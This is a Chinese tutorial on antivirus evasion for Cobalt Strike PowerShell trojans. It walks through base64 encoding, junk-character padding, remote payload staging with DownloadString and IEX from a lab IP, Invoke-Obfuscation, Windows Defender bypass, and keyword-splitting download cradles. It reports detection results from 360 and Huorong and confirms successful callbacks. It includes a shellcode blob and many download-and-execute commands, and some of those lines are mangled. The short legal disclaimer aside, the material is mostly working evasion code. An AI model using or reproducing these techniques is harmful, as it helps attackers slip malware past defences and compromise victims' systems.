目录一、免杀概念1、什么是免杀2、什么是杀毒软件二、PowerShell1、什么是PowerShell2、生成PowerShell3、免杀对比实验1原始脚本放入2删除变量放入三、免杀思路1、特征值编码2、编码添加干扰项3、添加干扰项编码4、分离免杀5、PowerShell混淆处理6、二次开发7、以上式全结合后的混淆8、代码拆分9、针对windows defender的免杀方法10、针对powershell命令模式文件的免杀处理1木马原型2免杀处理3利用ladon工具作免杀处理重要声明制作、传播、使用木马等恶意程序以及相关免杀技术均属于违法行为会严重侵害他人信息安全与合法权益请遵守法律法规仅用于正规网络安全学习与防御研究。一、免杀概念1、什么是免杀全称为反杀毒技术指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广其中包含反汇编、逆向工程、系统漏洞等技术所以难度很高。一般人不会或没能力接触这技术的深层内容。免杀的操作基本上都是对病毒、木马的内容、特征进行修改从而躲避杀毒软件的查杀。2、什么是杀毒软件杀毒软件类型分类个人或者社区版360、电脑管家、金山毒霸、火绒、Defender等等~~企业版杀毒软件IDS、IPS、EDR威胁感知、态势感知、流量监控、数据库监控等等~这些设备往往很贵杀毒软件查杀病毒分为如下三种静态查杀一般根据特征码识别然后对文件进行特征匹配。行为查杀动态查杀主要是对其产生的行为进行检测。云查杀提取出文件的特征上传云端云端进行检测后返回客户端对病毒进行查杀。杀毒软件持续更新病毒库、收集木马特征码旧免杀方法易失效。攻防处于持续对抗状态免杀技术需要不断学习钻研。二、PowerShell1、什么是PowerShellWindows PowerShell 是微软发布的一种命令行外壳程序和脚本环境使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。Windows7及以上的操作系统目前都是自带的。PowerShell脚本作为一种文件此类文件被上传到服务器之后需要执行。上线的代码是写到文件里面的被执行时CS就可以上线。执行方式方法一在CMD命令行中输入命令powershell并进入PowerShell模式方式二WINR的运行对话框中输入powershell打开PowerShell终端方法三在Windows的开始中打开PowerShell终端2、生成PowerShellStep1用CS生成powershell的远控木马区别说明powershell模式属于文本模式需要命令行启动powershell command模式属于命令模式执行文件中这段命令即可上线。3、免杀对比实验1原始脚本放入将生成的powershell脚本payload_x86.ps1不做任何处理直接放入到火绒的环境中。360卫士火绒未作任何处理脚本放入虚拟机后均由杀毒软件报毒2删除变量放入Step1清空DoIt变量中的部分Step2免杀测试360卫士火绒将DoIt变量中的部分清理后杀软无报毒如果将DoIt变量中的字符串进行一次编码后面加上一段解码的代码能不能避免杀毒软件的查杀呢三、免杀思路1、特征值编码Step1将DoIt变量中的字符串保存到code.txt中并在kali中输入编码命令生成新文件。$ base64-w0code.txtout.txt新生成文件out.txt中保留了DoIt变量的字符串的base64编码。Step2替换$DoIt的值为刚刚生成的base64编码并将代码的$DoIt替换成$plamovSet-StrictMode-Version2# 此处需要加入base64编码后的字符串# 此为out.txt中的BASE编码字符串$DoIt $plamov[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}Step3免杀测试360卫士直接复制进去时未查杀前就已触发了报毒反应火绒扫描时未报毒当脚本被运行时杀软触发了报毒反应2、编码添加干扰项Step1在base64编码后的值中随机加入垃圾字符如“plamov”Step2将加入“垃圾数据”的Base64编码重新写入脚本并添加垃圾字符过滤Set-StrictMode-Version2# 此处需要加入base64编码后的字符串# 此为out.txt中的BASE编码字符串且加入了垃圾数据“plamov”$DoIt # 代码注释将$DoIt变量中的“plamov”值替换为空$DoIt$DoIt.Replace(plamov,)$plamov[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}Step3免杀测试360卫士扫描时未报毒运行后也未报毒火绒3、添加干扰项编码Step1直接在源代码中加入垃圾字符例“plamov”Step2将原码中随意穿插垃圾字符后进行base64编码$ base64-w0code.txtout.txt并将编码替换到变量DoIt中。Step3免杀测试360卫士火绒两个杀软全部报毒4、分离免杀将那段关键的加密值放置到在线网站上通过powershell去请求Step1开启Kali的http服务$ python3-mhttp.server8082Step2将保存在kali的out.txt文件远程调用http://192.168.179.128:8082/out.txtStep3修改脚本Set-StrictMode-Version2$DoIt((New-Object System.Net.WebClient).DownloadString(http://192.168.179.128:8082/out.txt))$plamov[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}Step4免杀测试360卫士火绒两个杀软均未报毒Step5上线测试360卫士火绒运行脚本时火绒已经报毒在CS中查看两台主机中的木马均已成功上线5、PowerShell混淆处理Step1下载Invoke-Obfuscation-master并解压Step2在当前Invoke-Obfuscation-master的目录进入PowerShell终端# 加载并运行项目PS C:\PowerShell-ExecutionPolicyBypass-CommandImport-Module ./Invoke-Obfuscation.psd1; Invoke-ObfuscationStep3加密处理设置需要加密的文件Invoke-Obfuscationsetscriptpathpowershell木马源文件的绝对路径# C:\Users\Administrator\Documents\payload_x86.ps1设置需要加密的代码可选Invoke-Obfuscationsetscriptblock此处替换为脚本代码# 进入编码Invoke-Obfuscationencoding# 选择编码1-8任意选择加密方式输出文件Invoke-Obfuscationout C:\Users\Administrator\Documents\1.ps1Step4免杀测试360卫士火绒两个杀软均报毒6、二次开发Step1将如下源码中的$DoIt部分进行base64编码Set-StrictMode-Version2# --- 需要Base64编码的部分 ---$DoIt((New-Object System.Net.WebClient).DownloadString(http://192.168.179.128:8082/out.txt))# --- 需要Base64编码的部分 ---$plamov[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}编码处理后的源码如下Set-StrictMode-Version2$NK33 KChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygiaHR0cDovLzE5Mi4xNjguMTc5LjEyODo4MDgyL291dC50eHQiKSk $NK33[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($NK33))$NK15IEX$NK33$plamov[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($NK15))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}Step2免杀测试360卫士扫描时未报毒运行脚本时未报毒火绒扫描时未报毒运行脚本时报毒但他们成功运行后都上线了Step3在编码处理脚本基础上用项目进行加密# 加载并运行项目PS C:\PowerShell-ExecutionPolicyBypass-CommandImport-Module ./Invoke-Obfuscation.psd1; Invoke-Obfuscation# 设置需要加密的文件Invoke-Obfuscationsetscriptpathpowershell木马源文件的绝对路径# C:\Users\Administrator\Documents\payload_x86.ps1# 进入编码Invoke-Obfuscationencoding# 选择编码1-8任意选择加密方式# 输出文件Invoke-Obfuscationout C:\Users\Administrator\Documents\2.ps1Step4免杀测试360卫士扫描时未报毒运行脚本时未报毒火绒扫描时未报毒运行脚本时报毒这是加强处理的后的脚本也成功运行并上线7、以上式全结合后的混淆先加干扰字符然后进行base64编码最后再使用混淆加密项目进行加密。8、代码拆分一部分可以作编码或者加干扰处理另一部分可以做分离的处理即可以将这部分代码放到在线网站上去在线请求9、针对windows defender的免杀方法PowerShell 是系统自带程序针对 Windows Defender 的绕过难度最大。各类渗透工具生成的 Shellcode 存在固定变量、参数名属于杀软重点特征。绕过 Defender 要点修改所有默认变量、参数名处理监听器 IP、端口等连接信息本质彻底清除工具自带的特征指纹。Step1新建脚本命名为base64tobyte.ps1Write-Host$logo$payloadread-hostCS payload$string$s[Byte[]]$var_code[System.Convert]::FromBase64String($payload)$s|foreach{$string$string$_.ToString(),}Write-Hostwrite-hostbytes:$string.Substring(0,$string.Length-1)$string.Substring(0,$string.Length-1)|Out-File result.txt Write-HostWrite to result.txt finished! Step2用base64tobyte.ps1脚本转码脚本# 从当前路径进入powershell命令行后将那段指向监听器的值进行转码PS C:\CS payload: 38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKVS01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMG2RMTSPxQvgCUt4ioGQhnem5v0KSPBEaOkwyi6ibSkVsYszoK5IDQ0Miq/w5bW6PmxTJk3ybZ6eDmQHYjG3vq1bWpqyUUptAHO04dIxI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRMYA3RsdBUXGAN3UUpHRk1XDBYNEwouKSPH2nx2KFFCr4gNwI4sXednZSC6DXLEvveJCYZi9yEmclwVBQNbvokpPWBTQi0JjNGqHnyI7IKJX8Xv2VA6YbHvgPrVWpBInwWDOW50f/W2LKGk/pa3cclWn87KlBjzbO27Mr1T3qBpFtn3RY9SUHMQR4VAm7z2N64Jjr6Uno7effdrBLGaaFujKd1zP9IuobZalybmeBcRhlTUQYep8z9ieTHua5vKdwAJG6deQPOoOlSlwq0GO2rJcK4owfHn5l1mB4qNtD9xJYvQbkSyWcRxeWcy1/9iNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMinJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhoRDRIVGw0SFBoNEhEbIxn9S5IStep3将转码后的值写入到源代码中进行替换修改完成后务必测试运行确认目标可正常上线避免修改后的代码无法使用。Step4更改代码中的其他函数变量值10、针对powershell命令模式文件的免杀处理1木马原型# 执行这段木马的源代码就会使目标上线但是很容易被杀毒软件检测并拦截该行为PS C:\powershell-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal set-alias-namekey-valueIEx((new-object net.webclient).downloadstring(http://192.168.179.128:8082/plamov.ps1))2免杀处理Step1命令行中添加垃圾字符绕过原理类似于绕过WAFPS C:\powershell-wNormal-ExecBypass-NoPset-alias -Name key -Value IEX; key (New-Object Net.WebClient).DownloadString(http://192.168.179.128:8082/plamov.ps1)Step2使用替换绕过PS C:\C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe plamov.txt PS C:\niko.txt-nop-whidden-cIEX((new-object net.webclient).downloadstring(http://192.168.179.128:8082//plamov.ps1))Step3拆分http关键字PS C:\powershell-nop-whidden-c$aIEX((New-Object Net.WebClient).DownloadString(ht;$btp://192.168.179.128:8082//plamov.ps1));Invoke-Mimikatz;IEX($a$b)Step4拆分DownloadString关键字PS C:\powershell$aIEX(New-Object Net.WebClient).Downlo;$b123(http://192.168.179.128:8082//plamov.ps1).Replace(123,adString);IEX($a$b)Step5单引号绕过PS C:\powershell.exeIEX((new-object net.webclient).downloadstring(ht‘’tp://192.168.179.128:8082//plamov.ps1’))”3利用ladon工具作免杀处理